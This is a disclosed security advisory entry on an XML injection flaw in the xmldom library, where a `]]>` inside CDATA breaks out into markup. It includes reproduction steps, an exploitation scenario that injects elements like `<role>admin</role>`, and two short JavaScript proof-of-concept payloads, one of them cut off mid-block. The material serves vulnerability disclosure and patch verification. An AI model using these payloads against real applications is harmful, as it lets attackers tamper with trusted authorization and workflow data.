# xmldom: XML injection via unsafe CDATA serialization allows attacker-controlled markup insertion

xmldom serialized CDATA content verbatim, so attacker input containing `]]>` broke out of CDATA and injected active XML markup into generated documents.

- Payout: Research
- Severity: high
- Program: xmldom
- Found by: thesmartshadow, karfau
- Disclosed: 2026-04-01
- CVE: CVE-2026-34601
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-wh4c-j3r5-mjhp
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-wh4c-j3r5-mjhp
- Tags: area:oss domain:oss impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:xxe

**Target:** XMLSerializer / Document.createCDATASection in @xmldom/xmldom
**Root cause:** createCDATASection accepted any string and the serializer emitted CDATA data verbatim as `<![CDATA[` + node.data + `]]>`, so an embedded `]]>` closed the section early and the remainder became markup.
**Steps:**
1. Create a document and call `doc.createCDATASection('SAFE]]><injected attr="pwn"/>')` (or mutate via `appendData(']]><injected attr="pwn"/><more>TEXT</more><![CDATA[')`).
2. Append the CDATA node to the document element.
3. Serialize with `new XMLSerializer().serializeToString(doc)`.
4. Reparse output with DOMParser; the `injected` element now exists (vulnerable) vs not (fixed).
**How found:** Noted that the WHATWG spec only guards `createCDATASection` against `]]>` while mutation methods (appendData, replaceData, insertData, .data, .textContent) do not, and that the serializer reads `.data` directly and emits it verbatim — so any mutation path reaches the unsafe serializer.
**Exploitation:** An app embedding untrusted input in CDATA of generated XML lets an attacker inject elements/attributes like `<approved>true</approved>` or `<role>admin</role>` that downstream consumers trust, altering business logic or workflow decisions.
**Insight:** When auditing XML/DOM serializers, check every mutation path into a node's `.data`, not just the spec-guarded constructor; a single unguarded setter bypasses the intended validation and reaches the same verbatim emit.

## Proof of concept (copied exactly from the original report)

**createCDATASection payload with CDATA terminator**

```
const { DOMImplementation } = require('./lib');

const doc = new DOMImplementation().createDocument(null, 'root', null);
try {
  doc.createCDATASection('SAFE]]><injected attr="pwn"/>');
  console.log('VULNERABLE — no error thrown');
} catch (e) {
  console.log('FIXED — threw:', e.name); // InvalidCharacterError
```

**appendData mutation injecting markup via CDATA**

```
const { DOMImplementation, XMLSerializer } = require('./lib');
const { DOMParser } = require('./lib');

const doc = new DOMImplementation().createDocument(null, 'root', null);

// Start with safe data, then mutate to include the terminator
const cdata = doc.createCDATASection('safe');
doc.documentElement.appendChild(cdata);
cdata.appendData(']]><injected attr="pwn"/><more>TEXT</more><![CDATA[');

const out = new XMLSerializer().serializeToString(doc);
console.log('Serialized:', out);

const reparsed = new DOMParser().parseFromString(out, 'text/xml');
const injected = reparsed.getElementsByTagName('injected').length > 0;
console.log('Injected element found in reparsed doc:', injected);
```

